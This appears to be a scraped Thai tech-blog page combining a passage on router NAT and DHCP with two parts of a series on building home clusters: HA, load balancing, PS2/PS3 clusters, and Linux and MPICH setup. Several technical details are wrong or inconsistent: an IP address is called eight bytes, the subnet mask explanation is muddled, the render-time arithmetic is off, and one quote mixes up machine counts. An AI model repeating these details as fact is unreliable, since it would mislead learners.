  • Logic : วงจรตรรกะ
  • Power : แหล่งจ่ายพลังงาน
  • ADC/DAC : ตัวแปลงอนาลอกเป็นดิจิตอลและดิจิตอลเป็นอนาลอก
  • Other : อื่นๆ

 

ซอฟท์แวร์ของเราเตอร์

เนื่องจากเราเตอร์ประกอบด้วยส่วนต่างๆ หลายส่วน และสนับสนุนการทำงานหลายอย่าง เราเตอร์จึงมีซอฟท์แวร์ควบคุมการทำงานที่ซับซ้อนมาก ซอฟท์แวร์เหล่านี้อยู่ในหน่วยความจำแบบแฟลชจึงสามารถอัพเกรดได้ (เรียกว่าการอัพเกรดเฟิร์มแวร์) ในบทความนี้เราจะสนใจเฉพาะซอฟท์แวร์ส่วนเซตอัพ หรือส่วนกำหนดการทำงานของระบบ

ก่อนจะเข้าถึงและใช้งานซอฟต์แวร์ส่วนเซตอัพได้ เราจะต้องเซตค่าให้วินโดวส์รับไอพีจากแม่ข่าย DHCP เสียก่อนดังนี้ (แสดงตัวอย่างด้วย Windows XP)

  1. กดปุ่ม Start เลือก Setting เลือก Network Connection
  2. ในกรอบ Network Connection คลิกขวาที่ไอคอน LAN เลือก Properties
  3. ในกรอบ Local Area Connection Properties ในแถบหน้า General เลือก Internet Protocol (TCP/IP)
  4. กดเลือก Obtain an IP address automatically แล้วกด OK

 

ขั้นตอนที่ 1

ขั้นตอนที่ 2

ขั้นตอนที่ 3

ขั้นตอนที่ 4

 

เขาชื่อ NAT

หน้าที่พื้นฐานอย่างหนึ่งของเราเตอร์คือให้บริการ NAT (คำว่า NAT ย่อจาก Network Address Translation) เป็นหลักการทำงานที่คิดค้นโดยบริษัท Cisco หลักการ NAT ช่วยให้เราใช้อินเตอร์เน็ตไอพีเดียวกับคอมพิวเตอร์ในเครือข่ายได้ทุกเครื่อง เนื่องจากโปรโตคอล TCP/IP ใช้วิธีมัลติเพล็กซ์ (Multiplex) เพื่อให้คอมพิวเตอร์แต่ละเครื่องจึงเชื่อมต่อกับแม่ข่ายได้หลายช่อง (port) อยู่แล้ว NAT ก็ใช้หลักการเดียวกันนี้เชื่อมคอมพิวเตอร์หลายตัวเข้ากับอินเตอร์เน็ตผ่านไอพีหมายเลขเดียว

ยกตัวอย่างการทำงานที่ไม่ซับซ้อน เช่นการเปิดหน้าเว็บกูเกิ้ล เมื่อเราเชื่อมต่อกับอินเตอร์เน็ต ผู้ให้บริการอินเตอร์เน็ตจะกำหนดหมายเลขไอพีให้เราหนึ่งหมายเลข (เป็นหมายเลขที่แตกต่างออกไปทุกครั้ง สมมุติว่าเป็น 277.128.100.001) หากคอมพิวเตอร์ของเรา (สมมุติว่ามีไอพี 192.168.0.5) เปิดเว็บบราวเซอร์ แล้วพิมพ์ว่า google.com เว็บบราวเซอร์จะส่งการร้องขอหน้าเว็บไปยังเครื่องแม่ข่ายของกูเกิ้ล (สมมุติว่าไอพี 72.14.207.99) แม่ข่ายของกูเกิ้ลจะพบว่าผู้ร้องขอคือไอพี 277.128.100.001 จึงส่งข้อมูลหน้าเว็บกลับมาที่ไอพี 277.128.100.001 ไม่ใช่ 192.168.0.5 ในเมื่อเป็นเช่นนั้นแล้วทำไมคอมพิวเตอร์ของเราจึงรับหน้าเว็บกูเกิ้ลได้?

คำตอบคือเราเตอร์ทำหน้าที่เป็นตัวกลางหรือตัวแทน โดยใช้หลักการ NAT มันจะรับคำร้องขอจาก ไอพี 192.168.0.5 ส่งไปให้ไอพี 72.14.207.99 เมื่อไอพี 72.14.207.99 ส่งข้อมูลกลับมา มันจะนำข้อมูลนั้นส่งให้ไอพี 192.168.0.5 อีกทอดหนึ่ง เราเตอร์แยกแยะเพ็กเกตที่รับ-ส่งระหว่างคอมพิวเตอร์หลายๆ เครื่องกับอินเตอร์เน็ตได้โดยการนำมาใส่หมายเลขพอร์ทที่แตกต่างกัน เราเตอร์จะสร้างตารางข้อมูลพอร์ทเหล่านี้ไว้ในหน่วยความจำของตัวเราเตอร์เอง และอาศัยตารางนี้เพื่อให้รู้ว่าเพ็กเกตแต่ละอันมาจากไหนและต้องไปที่ไหน

คอมพิวเตอร์ทุกเครื่องในเครือข่ายต้องมีหมายเลขไอพี หมายเลขไอพีเหล่านี้เป็นหมายเลขไอพีภายใน ไม่ใช่หมายเลขไอพีในอินเตอร์เน็ต (ไม่ใช่ไอพีที่ได้จดทะเบียนไว้) แต่เป็นไอพีที่เกิดจากการกำหนดด้วย DHCP ในเราเตอร์

 

โปรโตคอล DHCP

สิ่งที่เราจะต้องเจอเมื่อตั้งค่าเราเตอร์คือ DHCP ดังนั้นผู้เขียนจะอธิบายความหมายของ DHCP ก่อน DHCP ย่อจาก Dynamic Host Configuration Protocol เป็นโปรโตคอลทำหน้าที่แจกจ่ายสิ่งต่อไปนี้โดยอัตโนมัติ

  • ไอพีแอดเดรส : คือหมายเลขประจำเครื่องในเครือข่าย เป็นข้อมูลแปดไบต์ (32 บิต) เช่น 192.168.1.2
  • Subnet masks : คือเทคนิคการซ่อนหรือกันแอดเดรสของเครือข่าย หากไบต์นั้นถูกกำหนดให้เป็นหนึ่งทั้งหมด (หนึ่งในเลขฐานสอง) เท่ากับไม่อนุญาตให้เปลี่ยนแปลงไบต์นั้นเมื่อ DHCP กำหนดค่าไอพีแอดเดสรให้เครื่องลูกข่าย ยกตัวอย่างเช่นหากกำหนดค่า subnet mask เป็น 255.255.0.0 (ค่า 255 ในเลขฐานสิบเท่ากับเลขหนึ่งแปดตัวในระบบเลขฐานสอง) จะมีผลให้ DHCP เปลี่ยนแปลงสองไบต์แรกไม่ได้
  • Default gateway : เป็นหมายเลขไอพีในการเชื่อมต่อกับผู้ให้บริการอินเตอร์เน็ตหรือเราเตอร์อื่นๆ
  • ไอพีพารามิเตอร์อื่นๆ

 

เนื่องจาก Subnet Mask ใช้คณิตศาสตร์บูลลีน AND เราจึงสามารถแปลงไอพีแอดเดรสได้ด้วย ยกตัวอย่างเช่นหากเรากำหนด Subnet Mask เป็น 255.255.0.0 กำหนด Masked IP เป็น 255.255.240.0 ผลลัพธ์ที่ได้คือไอพีแอดเดรส 150.215.017.009 จะถูกแปลงเป็น 150.215.016.0

 

โปรดติดตามตอนจบ

หน้าแรก สารบัญ เกี่ยวกับบล็อกนี้ เกี่ยวกับผู้เขียน

 

คลัสเตอร์ : ซุปเปอร์คอมพิวเตอร์ส่วนตัว[ตอนจบ]

จะเสียเงินหลายร้อยล้านซื้อซุปเปอร์คอมพิวเตอร์ไปทำไม ในเมื่อคุณสร้างเองได้โดยใช้เงินเพียงเสี้ยวเดียว

ลาภลอย วานิชอังกูร (laploy.com)

คลัสเตอร์แบบพกพา

คลัสเตอร์ไม่จำเป็นจะต้องมีขนาดใหญ่เต็มห้องเสมอไป มีนักศึกษาสามคนร่วมกันสร้างเบวูฟแบบพกพาสะดวก สำหรับนำไปใช้ศึกษาการทำงานของคอมพิวเตอร์แบบขนานได้ทุกแห่ง คลัสเตอร์ที่ว่านี้ชื่อ Little Fe สร้างโดย ทอม เมอร์ฟี (วิทยาลัย คอนทรา คอสตา) พอล เกรย์ (มหาวิทยาลัยไอโอวาตอนเหนือ) และชาลี แพก (วิทยาลัยเออร์แฮม) Little Fe มีโหนดทั้งสิ้นหกโหนด น้ำหนักเพียง 22.68 กิโลกรัม เจตนาให้มีขนาดเล็กพอที่จะหิ้วถือขึ้นเครื่องบินได้

Little Fe ประกอบด้วยเมนบอร์ด Via แปดบอร์ด ใช้โปรเซสเซอร์ Eden ความเร็ว 1GHz มีแรม 512MB แหล่งจ่ายกำลังไฟ พอร์ทอีเทอร์เน็ตความเร็ว 100MB ฮาร์ดดิสก์ความจุ 60GB และตัวอ่านแผ่นซีดี เสียค่าใช้จ่ายในการจัดทำไป 87,500 บาท

 

Little Fe คลัสเตอร์แบบพกพาสะดวก

 

สร้างคลัสเตอร์ด้วยของเล่น

ในปี ค.ศ. 2003 สถาบันสถาปนาซุปเปอร์คอมพิวเตอร์แห่งชาติ หรือ NCSA และมหาวิทยาลัย อิลินอย ประสบความสำเร็จในการนำเครื่องเล่นเกม หรือเกมคอนโซล เพลย์สเตชันทู (PS2) ที่นักเล่นเกมรู้จักดี นำมาบูรณาการเป็น คลัสเตอร์ ขนาด 64 โหนด สาเหตุที่คณะทำงานเลือก PS2 เพราะเครื่องเล่นเกมนี้มีหน่วยประมวลผลทางเวคเตอร์พิเศษซึ่งใช้ในการสร้างภาพสามมิติ จึงเป็นซีพียูนำมาประยุกต์ใช้ในงานวิทยาศาสตร์ได้เป็นอย่างดี

ระบบปฏิบัติการที่ใช้คือลินุกซ์ดิสโทรของบริษัทโซนี เป็นซอฟต์แวร์ที่ทำมาให้ใช้กับ PS2 โดยเฉพาะ (พอร์ทมาจาก ลินุกซ์ 2.2.1 ให้เป็นภาษาเครื่องของซีพียู อีโมชัน ที่ใช้ใน PS2) เป็นลินุกซ์ตระกูลเดียวกับเรดแฮทสำหรับพีซี โดยพอร์ทมาครบถ้วนรวมถึงเครื่องมือพัฒนาต่างๆ เช่นไลบรารี อิดิเตอร์ ตัวแปลภาษา และตัวค้นหาแก้บัก สมบูรณ์เหมือนดิสโทรมาตรฐานทั่วไป นอกจากนั้นทีมงาน NCSA ยังได้พัฒนาซอฟต์แวร์เกี่ยวกับคลัสเตอร์เพิ่มเติม เช่นทูลที่ทำให้โหนดต่างๆ ทำงานร่วมกันได้

 

<< คลัสเตอร์ขนาด 64 โหนดที่สร้างจาก PS2 ที่ NCSA

 

ในปี ค.ศ. 2006 ดร. แฟรงค์ มุลเลอร์ แห่งมหาวิทยาลัยแคลิฟอร์เนีย ประกาศสร้างซุปเปอร์คอมพิวเตอร์จากเครื่อง PS3 แปดเครื่อง “ตอนนี้ซุปเปอร์คอมพิวเตอร์ที่เร็วที่สุดในโลกคือ บลูจินนี/เอล ที่ห้องทดลองลอเลนซ์ ริเวอร์มอร์ ประกอบขึ้นจากตัวประมวลผลหนึ่งแสนสามหมื่นตัว แต่นี่ผมใช้ PS3 เพียงสามตัว ใช้เงินทั้งสิ้นเพียงหนึ่งแสนเจ็ดหมื่นบาท ความเร็วจึงยังห่างชั้นกัน แต่ถ้าใช้ PS3 จำนวนสักหนึ่งหมื่นเครื่อง มันจะกลายเป็นซุปเปอร์คอมพิวเตอร์ที่เร็วที่สุดในโลก” ดร. มุลเลอร์ กล่าว

 

นอกจาก ดร. มุลเลอร์ แล้ว ยังมีผู้อื่นที่เห็นศักยภาพของ PS3 ซึ่งใช้ตัวประมวลผลล้ำยุคของไอบีเอ็ม (IBM Cell BE) ว่าเหมาะที่จะนำมาสร้างซุปเปอร์คอมพิวเตอร์ เช่น บริษัท เทราซอฟต์ ผู้สร้างและพัฒนาลินุกซ์ดิสโทรสำหรับ PS3 ออกขาย มีแบบ 8 โหนด ราคาเจ็ดแสนห้าหมื่นบาท และ 32 โหนด ราคาหนึ่งล้านแปดแสนบาท แบบ 32 โหนดให้ความเร็วการประมวลผลเลขทศนิยมห้าล้านล้านคำสั่งต่อวินาที (5TF) และบริษัทโซนีเองก็นำ PS3 มาสร้างคลัสเตอร์สำหรับให้บริการเกม Warhawk เกมแนวนิยายวิทยาศาสตร์ที่เน้นการเล่นเป็นกลุ่มผ่านเครือข่าย

ดร. แฟรงค์ มุลเลอร์ กับคลัสเตอร์ที่สร้างจาก PS3 แปดเครื่อง

วิศวกรของเทราซอฟต์กำลังก่อสร้างคลัสเตอร์จาก PS3

คลัสเตอร์ที่โซนี่สร้างจาก PS3 เพื่อให้บริการเกม Warhawk

 

มาสร้างลินุกซ์คลัสเตอร์กันเถอะ

การสร้างคลัสเตอร์ด้วยลินุกซ์จะง่ายสุด เพราะลินุกซ์สนับสนุนการทำคลัสเตอร์มาตั้งแต่แรก การเซตอัพจึงไม่ต้องทำอะไรมาก อุปกรณ์ที่ต้องใช้มีดังนี้

  • คอมพิวเตอร์ : ควรมีพีซีตั้งแต่สองเครื่องขึ้นไป แต่ละเครื่องมีพีซียูอินเทลหรือเอเอ็มดี หน่วยความจำอย่างน้อย 128MB ฮาร์ดดิสก์ว่าง 4GB และส่วนเชื่อมต่ออีเทอร์เน็ต 100BT
  • อุปกรณ์เครือข่าย : อีเทอร์เน็ตสวิทช์ที่มีจำนวนพอร์ทมากกว่า หรือเท่ากับจำนวนโหนด สายและหัวแลนจำนวนให้พอเชื่อมทุกโหนดเข้าด้วยกัน คีมเข้าหัว
  • ระบบปฏิบัติการ : ลินุกซ์ หรือ FreeBSD ถ้าจะให้ง่ายควรใช้ลินุกซ์เรดแฮท เวอร์ชัน 9 แต่ความจริงจะใช้ลินุกซ์ดิสโทรใดก็ได้ตามถนัด เช่น อูบุนตู ซูซี หรือ debian

 

ดูให้แน่ใจว่าทุกโหนดมีโปรแกรม Openssh (ทั้งแม่ข่ายและลูกข่าย) ตัวแปลภาษา perl เวอร์ชัน 5.8.0 ขึ้นไป (เพราะสนับสนุนเธรด) โปรแกรม gcc และ make เพื่อใช้คอมไพล์โปรแกรมตัวอย่าง เซตให้ทุกโหนดมี /home เป็น NFS และกำหนดให้ทุกเครื่องใช้บัญชีเดียวกันหมด (เพราะเราต้องการให้สั่งงานแบบรีโหมดได้โดยไม่ต้องป้อนรหัสผ่าน) จากนั้นให้ทำคอมพิวเตอร์เครื่องหนึ่งเป็นตัวลูกข่ายไว้สั่งการผ่านแลน (หรือจะสั่งงานผ่านอินเตอร์เน็ตก็ได้) ทดสอบดูว่าป้อนคำสั่งแบบรีโหมดได้หรือไม่ ลองป้อนคำสั่งง่ายๆ เช่นคำสั่งเซตเวลา แบบนี้

 

loy@test|T:101>ssh bravo date Sun Nov 7 08:27:08 EDT 2007

 

หากตรวจสอบแล้วพบว่าทำงานได้ทุกโหนด นั่นแสดงว่าคลัสเตอร์เสร็จสมบูรณ์พร้อมใช้งานแล้ว

 

มาสร้างวินโดวส์คลัสเตอร์กันเถอะ

การสร้างคลัสเตอร์ โดยใช้ระบบปฏิบัติการวินโดวส์จะมีขั้นตอนยุ่งยากกว่าในลินุกซ์เล็กน้อยดังนี้

  • คอมพิวเตอร์ : ควรเป็นแบบพีซี ตั้งแต่สองเครื่องขึ้นไป แต่ละเครื่องมีพีซียูอินเทลหรือเอเอ็มดี หน่วยความจำอย่างน้อย 128MB ฮาร์ดดิสก์ว่าง 4GB และส่วนเชื่อมต่ออีเทอร์เน็ต 100BT
  • อุปกรณ์เครือข่าย : อีเทอร์เน็ตสวิทช์ที่มีจำนวนพอร์ทมากกว่าหรือเท่ากับจำนวนโหนด สายและหัวแลนจำนวนให้พอเชื่อมทุกโหนดเข้าด้วยกัน คีมเข้าหัว
  • ระบบปฏิบัติการ : วินโดวส์ NT SP6 หรือ Windows 2000 ถึง 2008 (ตอนนี้ยังไม่ออก)

 

ดูให้แน่ใจว่าตอนติดตั้งระบบปฏิบัติการได้ลงโปรโตคอล TCP/IP และ NETBUI ไว้ด้วย และวินโดวส์ตรวจพบการ์ดแลนและเชื่อมต่อเครือข่ายได้สำเร็จ ต่อไปให้หาซอฟต์แวร์ Message Passing Interface หรือ MPI ซึ่งเป็นหัวใจของการทำงานแบบคลัสเตอร์มาติดตั้งในโหนดทุกตัว โปรแกรม MPI มีหลายยี่ห้อ ที่จะแนะนำให้ลองใช้คือ MPICH เป็นโปรแกรมที่เขียนโดยนักศึกษาคณะคอมพิวเตอร์ของมหาวิทยาลัยชิคาโก ให้ดาวน์โหลดใช้งานได้ฟรีที่ www-unix.mcs.anl.gov/mpi/mpich2 มีทั้งแบบสำเร็จรูปที่นำไปใช้ได้ทันที และแบบซอร์สโค้ดที่นำไปแก้ไขดัดแปลงเล่นได้ตามใจชอบ (เป็นโอเพ่นซอร์ส)

 

วิธีติดตั้ง MPICH ให้ทำตามขั้นตอนดังนี้

  1. ดาวน์โหลดไฟล์ซิบไฟล์ หากใช้ซีพียูและระบบปฏิบัติการแบบ 32 บิตให้เลือก mpich2-1.0.6p1-win32-ia32.msi หากใช้ซีพียูพวกดูอัลคอร์และเอธลอน และระบบปฏิบัติการแบบ 64 บิตให้เลือก mpich2-1.0.6p1-win64-x86-64.msi ถ้าใช้ซีพียูอิทาเนียมให้เลือก mpich2-1.0.3-1-win64-ia64.zip เมื่อดาวน์โหลดเสร็จแล้วคลายออก (ยกเว้นตัวที่เป็น msi ไม่ต้องคลาย) จากนั้นให้ติดตั้งไว้ในโฟลเดอร์อะไรก็ได้ เช่น C:\NT-MPICH\lib
  2. คัดลอกแฟ้มทั้งหมดที่มีนามสกุล .dll จากโฟลเดอร์ C:\NT-MPICH\lib (หรือโฟลเดอร์ที่ท่านสร้างไว้) ไปยัง C:\Windows\system32
  3. ติดตั้งโปรแกรมจัดการคลัสเตอร์ (Cluster Manager Service) ไว้ในโฮสต์ทุกตัวที่ต้องการใช้ทำเป็นตัวสั่งการ MPI จากระยะไกล วิธีติดตั้งทำได้โดยรันแบตช์ไฟล์ชื่อ rcluma-install.bat (อยู่ใน โฟลเดอร์ C:\NT-MPICH\bin) จะรันจากฮาร์ดดิสก์ในเครื่องหรือฮาร์ดดิสก์ของเครือข่ายก็ได้ แต่ท่านต้องมีสิทธิเป็นแอดมินฯ ในโฮสต์ที่จะติดตั้งจึงจะติดตั้งได้
  4. ทำขั้นตอนที่ 1 และ 2 ในโหนดทุกโหนด
  5. เปิดโปรแกรม rexecshell (ดูในโฟลเดอร์ C:\NT-MPICH\bin) แล้วเปิดหน้าจอ configure ด้วยการกดปุ่ม F2 จะพบตัวโปรแกรมตัวอย่างชื่อ cpi.exe นี่คือโปรแกรมทดสอบการทำงานแบบคลัสเตอร์ ให้เลือกโปรแกรมนี้แล้วเซตให้โฮสต์แต่ละตัวสามารถเข้าถึงไฟล์นี้ได้จาก path ที่กำหนด
  6. หัวข้อปลักอินให้เลือก ch_wsock
  7. เลือกแทป Account ป้อนชื่อ โดเมน และรหัสผ่านให้เหมือนกันหมดสำหรับโฮสต์ทุกตัว กดปุ่ม OK เพื่อยืนยันการเซตค่า
  8. เมื่อทำถึงขั้นตอนนี้ปุ่ม Start จะกดได้แล้ว หากกดจะเป็นการเริ่มรันโปรแกรม cpi.exe ในโฮสต์ทุกตัวที่เลือกไว้ ผลลัพธ์จะแสดงออกมาบนกรอบหน้าต่างในแต่ละเครื่อง

เพียงเท่านี้ก็ถือว่าการสร้างคลัสเตอร์ โดยใช้ระบบปฏิบัติการวินโดวส์เสร็จสมบูรณ์ พร้อมใช้งานได้

 

เครื่องกระจุกงานกระจาย

หากท่านเป็นนักสร้างภาพเคลื่อนไหวสามมิติ การสร้างคลัสเตอร์จะให้ผลลัพธ์ที่คุ้มค่าทันที ยกตัวอย่างเช่นหากท่านสร้างภาพยนตร์ยาวหนึ่งนาทีโดยใช้คอมพิวเตอร์หนึ่งเครื่อง ใช้เวลาเรนเดอร์หนึ่งชั่วโมง หากใช้คอมพิวเตอร์หกสิบเครื่อง จะใช้เวลาเพียงหนึ่งวินาทีเท่านั้น โดยโปรแกรมสร้างภาพสามมิติส่วนใหญ่จะสนับสนุนการกระจายงานไปเรนเดอร์ในหลายๆ เครื่องอยู่แล้ว

ปัญหาของการใช้งานคลัสเตอร์ตามบ้านคือไม่มีซอฟต์แวร์สำเร็จรูปที่สนับสนุนการใช้งานแบบขนานมากนัก ซอฟต์แวร์ที่มีส่วนมากจะเป็นระบบปฏิบัติการ ซอฟต์แวร์ด้านเซอร์ฟเวอร์และฐานข้อมูล โปรแกรมที่ใช้ในงานวิจัยทางวิทยาศาสตร์ และโปรแกรมที่เขียนขึ้นเฉพาะหรือสั่งทำ การนำฮาร์ดแวร์มาประกอบสร้างเป็นคลัสเตอร์ทำได้ไม่ยาก การพัฒนาซอฟต์แวร์ที่ทำให้คลัสเตอร์ทำงานได้คุ้มค่าต่างหาก ที่เป็นความท้าทายอย่างแท้จริง

 

หน้าแรก สารบัญ เกี่ยวกับบล็อกนี้ เกี่ยวกับผู้เขียน

คลัสเตอร์ : ซุปเปอร์คอมพิวเตอร์ส่วนตัว[1]

จะเสียเงินหลายร้อยล้านซื้อซุปเปอร์คอมพิวเตอร์ไปทำไม ในเมื่อคุณสร้างเองได้โดยใช้เงินเพียงเสี้ยวเดียว

ลาภลอย วานิชอังกูร (laploy.com)

 

“เราเปลี่ยนจาก SGI (ซิลิคอนกราฟิก) มาใช้เครื่องเอทลอนและระบบปฏิบัติการลินุกซ์หมดแล้ว” ไมค์ ทอมป์สัน ผายมือไปยังห้องโถงขนาดใหญ่ เต็มไปด้วยคอมพิวเตอร์เรียงรายอยู่นับพันๆ เครื่อง นี่คือ “เดทธ์สตาร์” ศูนย์คอมพิวเตอร์เพื่อการสร้างภาพสามมิติสำหรับภาพยนตร์ หรือ “เรนเดอร์ฟาร์ม” ของบริษัท ไอเอลเอ็ม (Industrial Light & Magic) ผู้อยู่เบื้องหลังการสร้างภาพมายาของภาพยนตร์ดังๆ เกือบทุกเรื่องเช่น แฮรรีพ็อตเตอร์ สตาร์วอร์ส ไพเรตออฟเดอะคาริเบียน และอีกนับไม่ถ้วน

ไมค์ ทอมป์สัน เป็นเจ้าหน้าที่ผู้พัฒนาระบบคอมพิวเตอร์ ประจำอยู่ที่ศูนย์คอมพิวเตอร์ ของไอเอลเอ็ม ซึ่งอยู่ในนิคมศิลปะดิจิตอลเลตเตอร์แมน ศูนย์แห่งนี้มีสภาพเหมือนวิทยาเขต รวมบริษัทในเครือไว้ทั้งหมด เช่นลูคัสอาร์ต และลูคัสฟิลม์ “ก่อนหน้านี้เราใช้โปรเซสเซอร์ทั้งหมด 1,500 โหนด ต่อมาก็เพิ่มเป็นสามพันโหนดตอนสร้างภาพยนตร์เรื่อง สตาร์วอร์ส อิพิโสดสาม และเพิ่มความเร็วการเชื่อมต่อจาก 100BASE-TX ไปเป็นสิบกิกกะบิต ปัจจุบันมีข้อมูลวิ่งในฟาร์มวันละ 70 เทราไบต์” เมื่อถูกถามเกี่ยวกับซอฟต์แวร์ที่ใช้ ทอมป์สัน ตอบเพียงสั้นๆ ว่า เป็นการผสมผสานระหว่างมายาและซอฟติเมจ ส่วนตัวจัดคิวเรนเดอร์ภาพ ใช้โปรแกรม ObaQ (Object oriented Batch and Queuing framework เฟรมเวิร์คจัดการระบบคิวแบบวัตถุวิธี) ที่พัฒนาขึ้นเองในลินุกซ์”

 

ในภาพยนตร์เรื่อง ไพเรตออฟเดอะคาริเบียน บริษัทดีสนีย์ ว่าจ้างบริษัท ไอเอลเอ็ม ให้เปลี่ยนใบหน้านักแสดงให้กลายเป็นปีศาจโจรสลัดที่มีหนวดเหมือนปลาหมึก

ภาพ 008 : สภาพภายใน เดทธ์สตาร์ สัญลักษณ์เหมือนดาวในธงชาติยิวบนตู้โครงเหล็กอันที่จริงคือสัญลักษณ์ของฝ่ายจักรวรรดิ

ภาพ 009 : คอมพิวเตอร์แบบ SGI ที่เคยสร้างมนต์ขลังบนจอเงินมานานนับทศวรรษ บัดนี้กลับถูกทอดทิ้งไร้คนเหลียวแล นักสร้างภาพมายาหันไปใช้พีซีธรรมดาซึ่งมีประสิทธิภาพสูงกว่า แถมมีราคาถูกกว่าหลายเท่าตัว

ภาพ 010 : “ท่านเกจิโยดา” ถูกสร้างขึ้นทีละเฟรมในคอมพิวเตอร์ โดยศิลปินผู้มีฝีมือของไอเอลเอ็ม

ภาพ 011 : โปรแกรม ObaQ (Object oriented Batch and Queuing framework เฟรมเวิร์คจัดการระบบคิวแบบวัตถุวิธี)

ห้องทดลองวิทยาศาสตร์ ศูนย์คอมพิวเตอร์ ผู้ให้บริการอินเตอร์เน็ต และนักสร้างภาพมายา ได้สนุกกับคลัสเตอร์มานานแล้ว บัดนี้ถึงเวลาที่เรา ผู้ใช้ตามบ้าน จะได้ลิ้มรสความสนุกเช่นนั้นบ้าง บทความนี้ผู้เขียนจะแนะนำให้ท่านรู้จักกับการนำคอมพิวเตอร์มาต่อเชื่อมกันเป็นกลุ่ม เพื่อทำงานแบบคู่ขนาน การทำ High-availability การทำ load balancing คลัสเตอร์แบบเบวูฟ คลัสเตอร์ที่สร้างจาก blade คลัสเตอร์แบบพกพา วิธีสร้างลินุกซ์คลัสเตอร์ และวิธีสร้างวินโดวส์คลัสเตอร์

 

กระจุกคอมพ์

นักดูดาวทุกคนรู้จักกระจุกดาวหรือ คลัสเตอร์ (starts cluster) ในวงการคอมพิวเตอร์คำว่า คลัสเตอร์ จะหมายถึงการนำคอมพิวเตอร์หลายๆ เครื่อง มาต่อเชื่อมเข้าด้วยกันอย่างหลวมๆ เพื่อให้ทำงานเป็นระบบเดียวกัน โดยมีจุดมุ่งหมายเพื่อต้องการเพิ่มประสิทธิภาพ เพิ่มความเร็ว เพิ่มความเชื่อถือได้ หรือทั้งหมดรวมกัน เราเรียกคอมพิวเตอร์หนึ่งเครื่องในคลัสเตอร์ว่า โหนด โดยปรกติแล้วการเชื่อมต่อระหว่างโหนดจะใช้ระบบเครือข่ายท้องถิ่นความเร็วสูง การทำ คลัสเตอร์ ช่วยให้เราได้คอมพิวเตอร์ที่มีประสิทธิภาพระดับซุปเปอร์คอมพิวเตอร์ ในราคาสบายกระเป๋า คลัสเตอร์มีหลายแบบ หรือหลายคลาส เช่น ฮา, เอชพีซี, โหลดบาลานซ์ซิง เบวูฟ และกริดคอมพิวติง

 

คลัสเตอร์ขนาด 64 โหนดสร้างจากพีซีธรรมดา ที่ศูนย์อวกาศกอดดาร์ด

 

ประสิทธิภาพดีต้องมีฮา

มีการคิดกันว่าน่าจะเอาคอมพิวเตอร์หลายๆ เครื่องมาต่อกันเป็นระบบ โดยหวังว่าหากเกิดการชำรุด ผู้ใช้ก็จะยังสามารถใช้งานระบบได้ เพราะคอมพิวเตอร์ไม่น่าจะเกิดเสียขึ้นมาทีเดียวได้พร้อมกันหมดทุกเครื่อง หลักการนี้เรียกว่า หลักการพร้อมใช้งานสูง (High-availability หรือHA) การทำฮามีแนวคิดเหมือนการทำ RAID (เรดฮาร์ดดิสก์) คือมีเครื่องให้มากเผื่อเหลือเผื่อขาดไว้ ปรกติ HA จะประกอบด้วยคอมพิวเตอร์เพียงสองโหนด และใช้ซอฟต์แวร์ฟรีอย่าง ลินุกซ์-ฮา หรือซอฟต์แวร์เชิงพานิชย์อื่นๆ เช่น MSCS ของไมโครซอฟต์

 

แผนภูมิแสดงตัวอย่างการทำฮา

 

เกลี่ยให้ทั่ว

อีกหลักการหนึ่งที่ใช้มากในการทำคลัสเตอร์ คือหลักการเฉลี่ยหรือกระจายงาน เพื่อให้โหนดหนึ่งๆ ไม่ทำงานมากหรือน้อยกว่าโหนดอื่นๆ เรียกว่า โหลดบาลานซ์ (load balancing) เป็นหลักการทำงานที่พบได้ทั่วไปในฟาร์มแม่ข่าย ระบบนี้ประกอบด้วยแม่ข่ายเสมือน หรือ VIP ซึ่งประกอบด้วยหมายเลขไอพีและพอร์ทจำนวนมาก VIP จะถูกนำไปเชื่อมโยงกับงาน หรือคอมพิวเตอร์ที่เฉพาะเจาะจงในฟาร์ม เมื่อโปรแกรมไคลเอนขอรับบริการจากแม่ข่าย ไคลเอนจะติดต่อผ่าน VIP ซึ่งจะนำคำขอไปวิ่งในแม่ข่ายที่กำหนด VIP จึงทำหน้าที่เหมือนผู้จัดการ ที่คอยบริหารดูแลให้แม่ข่ายในฟาร์มทำงานได้อย่างมีประสิทธิภาพ

 

แผนภูมิแสดงตัวอย่างการทำโหลดบาลานซ์

 

คลัสเตอร์ประสิทธิภาพสูง

คลัสเตอร์แบบประสิทธิภาพสูง (High-performance computing หรือ HPC) เน้นการนำงานเดียวมากระจายให้ทำงานโหนดต่างๆ เป็นคลัสเตอร์แบบที่พบมากในงานวิจัยทางวิทยาศาสตร์ ซอฟต์แวร์ที่ใช้จึงมักเป็นซอฟต์แวร์ทำขึ้นเฉพาะ เพื่อหวังประโยชน์จากการประมวลผลแบบคู่ขนาน HPC เน้นการทำงานร่วมกันระหว่างโหนดด้วย เพราะบ่อยครั้งที่โหนดหนึ่งต้องรอผลลัพธ์จากโหนดอื่นจึงจะทำงานต่อไปได้

มีคลัสเตอร์ HPC ที่ได้รับความนิยมหลายแบบ ที่รู้จักกันมากสุดคือแบบ เบวูฟ (Beowulf) ซึ่งใช้ระบบปฏิบัติการลินุกซ์ ส่วนบริษัทไมโครซอฟต์ก็มี HPC ด้วยเช่นกัน มีชื่อว่าไมโครซอฟต์คลัสเตอร์เซอร์วิส หรือ MSCS ซึ่งเป็นส่วนหนึ่งของระบบปฏิบัติการวินโดวส์เซอร์ฟเวอร์

 

 

High-performance computing หรือ HPC ที่มหาวิทยาลับมิสซิสซิปปีคำนวณได้เร็ว 10 ล้านล้านครั้งต่อวินาที (10TB)

 

MSCS

MSCS หรือ ไมโครซอฟต์คลัสเตอร์เซอร์วิส เป็นซอฟต์แวร์สำหรับสร้างคลัสเตอร์ที่มีโหนดได้ไม่เกินสองโหนด เมื่อติดตั้งแล้วลูกข่ายจะมองเห็นว่าคอมพิวเตอร์สองตัวเป็นเซอร์ฟเวอร์เพียงตัวเดียว เมื่อโหนดใดโหนดหนึ่งเสีย หรือถูกปิด อีกโหนดหนึ่งจะรับหน้าที่แทน ผู้ใช้งานจึงสามารถใช้งานได้อย่างต่อเนื่อง โหนดทั้งสองโหนดจะต้องวิ่งระบบปฏิบัติการเดียวกัน คือ วินโดวส์เอ็นที เซอร์ฟเวอร์ 4.0 หรือ วินโดวส์ 2000 แอดวานซ์ เซอร์ฟเวอร์ ส่วน วินโดวส์ 2000 ดาต้าเซนเตอร์ เซอร์ฟเวอร์ จะมีโหนดได้สูงสุดถึงสี่โหนด

 

ตัวอย่างการใช้ MSCS ทำคลัสเตอร์เป็นเซอร์ฟเวอร์เสมือนสามตัว คือ A, B และ C

 

กริดคอมพิวติง

